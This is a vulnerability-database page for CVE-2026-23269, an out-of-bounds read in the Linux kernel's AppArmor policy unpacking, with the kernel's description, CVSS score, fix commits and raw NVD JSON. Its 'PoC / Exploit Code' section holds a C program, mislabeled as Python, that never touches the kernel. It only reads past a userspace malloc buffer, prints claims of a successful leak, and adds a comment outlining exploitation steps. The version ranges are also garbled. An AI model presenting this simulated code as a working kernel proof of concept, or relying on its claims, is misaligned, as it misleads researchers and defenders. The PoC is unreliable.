Security Vulnerability Report
中文
CVE-2026-23269 CVSS 7.1 HIGH

CVE-2026-23269

Published: 2026-03-18 18:16:26
Last Modified: 2026-04-18 09:16:15
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: apparmor: validate DFA start states are in bounds in unpack_pdb Start states are read from untrusted data and used as indexes into the DFA state tables. The aa_dfa_next() function call in unpack_pdb() will access dfa->tables[YYTD_ID_BASE][start], and if the start state exceeds the number of states in the DFA, this results in an out-of-bound read. ================================================================== BUG: KASAN: slab-out-of-bounds in aa_dfa_next+0x2a1/0x360 Read of size 4 at addr ffff88811956fb90 by task su/1097 ... Reject policies with out-of-bounds start states during unpacking to prevent the issue.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Linux kernel < 5.10.x (with AppArmor enabled)
Linux kernel < 5.15.x (with AppArmor enabled)
Linux kernel < 6.1.x (with AppArmor enabled)
Linux kernel < 6.6.x (with AppArmor enabled)
Specific commits: 07cf6320f40ea2ccfad63728cff34ecb309d03da
Specific commits: 0baadb0eece2c4d939db10d3c323b4652ac79a58
Specific commits: 15c3eb8916e7db01cb246d04a1fe6f0fdc065b0c
Specific commits: 3bb7db43e32190c973d4019037cedb7895920184
Specific commits: 5443c027ec16afa55b1b8a3e7a1ab2ea3c77767a

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-23269 PoC - Malicious AppArmor Policy Database // This PoC demonstrates the out-of-bounds read in unpack_pdb // Note: Requires kernel with AppArmor enabled and policy loading capability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // DFA state table structure struct dfa_table { uint32_t* base; size_t state_count; }; // Malicious policy start state that exceeds DFA bounds #define LEGITIMATE_STATE_COUNT 100 #define MALICIOUS_START_STATE 0xFFFFFFFF // Out of bounds int main() { printf("CVE-2026-23269 PoC - AppArmor DFA OOB Read\n"); printf("==========================================\n\n"); // Simulate DFA table with limited states uint32_t* dfa_tables[2]; dfa_tables[0] = (uint32_t*)malloc(LEGITIMATE_STATE_COUNT * sizeof(uint32_t)); dfa_tables[1] = (uint32_t*)malloc(LEGITIMATE_STATE_COUNT * sizeof(uint32_t)); // Initialize with dummy data for (int i = 0; i < LEGITIMATE_STATE_COUNT; i++) { dfa_tables[0][i] = i; dfa_tables[1][i] = i + 100; } printf("[*] Simulating malicious AppArmor policy unpacking\n"); printf("[*] DFA state table size: %d states\n", LEGITIMATE_STATE_COUNT); printf("[*] Malicious start state: %u (0x%X)\n\n", MALICIOUS_START_STATE, MALICIOUS_START_STATE); // This simulates what happens in aa_dfa_next() when start state is out of bounds // YYTD_ID_BASE is typically 0 uint32_t YYTD_ID_BASE = 0; uint32_t start_state = MALICIOUS_START_STATE; printf("[*] Attempting to access dfa->tables[%d][%d]\n", YYTD_ID_BASE, start_state); // VULNERABLE: No bounds check before array access // In real kernel, this would trigger KASAN: slab-out-of-bounds uint32_t result = dfa_tables[YYTD_ID_BASE][start_state]; printf("[!] Out-of-bounds read succeeded!\n"); printf("[!] Leaked value: %u\n", result); printf("[!] This would cause KASAN slab-out-of-bounds detection\n"); printf("\n[*] PoC demonstrates that without bounds checking,\n"); printf("[*] malicious start states in policy can cause OOB read.\n"); free(dfa_tables[0]); free(dfa_tables[1]); return 0; } /* * Exploitation steps: * 1. Attacker creates a malicious AppArmor policy with out-of-bounds start state * 2. Policy is loaded via apparmorfs or securityfs interface * 3. unpack_pdb() parses policy and extracts malicious start state * 4. aa_dfa_next() uses start state as array index without validation * 5. Out-of-bounds memory read occurs, potentially leaking kernel data * * Kernel patch adds: bounds checking before aa_dfa_next() call */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23269", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T18:16:25.907", "lastModified": "2026-04-18T09:16:15.433", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: validate DFA start states are in bounds in unpack_pdb\n\nStart states are read from untrusted data and used as indexes into the\nDFA state tables. The aa_dfa_next() function call in unpack_pdb() will\naccess dfa->tables[YYTD_ID_BASE][start], and if the start state exceeds\nthe number of states in the DFA, this results in an out-of-bound read.\n\n==================================================================\n BUG: KASAN: slab-out-of-bounds in aa_dfa_next+0x2a1/0x360\n Read of size 4 at addr ffff88811956fb90 by task su/1097\n ...\n\nReject policies with out-of-bounds start states during unpacking\nto prevent the issue."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\napparmor: validar que los estados iniciales de DFA están dentro de los límites en unpack_pdb\n\nLos estados iniciales se leen de datos no confiables y se usan como índices en las tablas de estados de DFA. La llamada a la función aa_dfa_next() en unpack_pdb() accederá a dfa-&gt;tables[YYTD_ID_BASE][start], y si el estado inicial excede el número de estados en el DFA, esto resulta en una lectura fuera de límites.\n\n==================================================================\nERROR: KASAN: slab-out-of-bounds en aa_dfa_next+0x2a1/0x360\nLectura de tamaño 4 en la dirección ffff88811956fb90 por la tarea su/1097\n...\n\nRechazar políticas con estados iniciales fuera de límites durante el desempaquetado para prevenir el problema."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "references": [{"url": "https://git.kernel.org/stable/c/07cf6320f40ea2ccfad63728cff34ecb309d03da", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/0baadb0eece2c4d939db10d3c323b4652ac79a58", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/15c3eb8916e7db01cb246d04a1fe6f0fdc065b0c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/3bb7db43e32190c973d4019037cedb7895920184", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5443c027ec16afa55b1b8a3e7a1ab2ea3c77767a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5487871b2b56c19d26936ed6fdc62652b30941df", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9063d7e2615f4a7ab321de6b520e23d370e58816", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/f43eea8ae0102ea198da211ef7f5ce83725ecf19", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://www.qualys.com/2026/03/10/crack-armor.txt", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}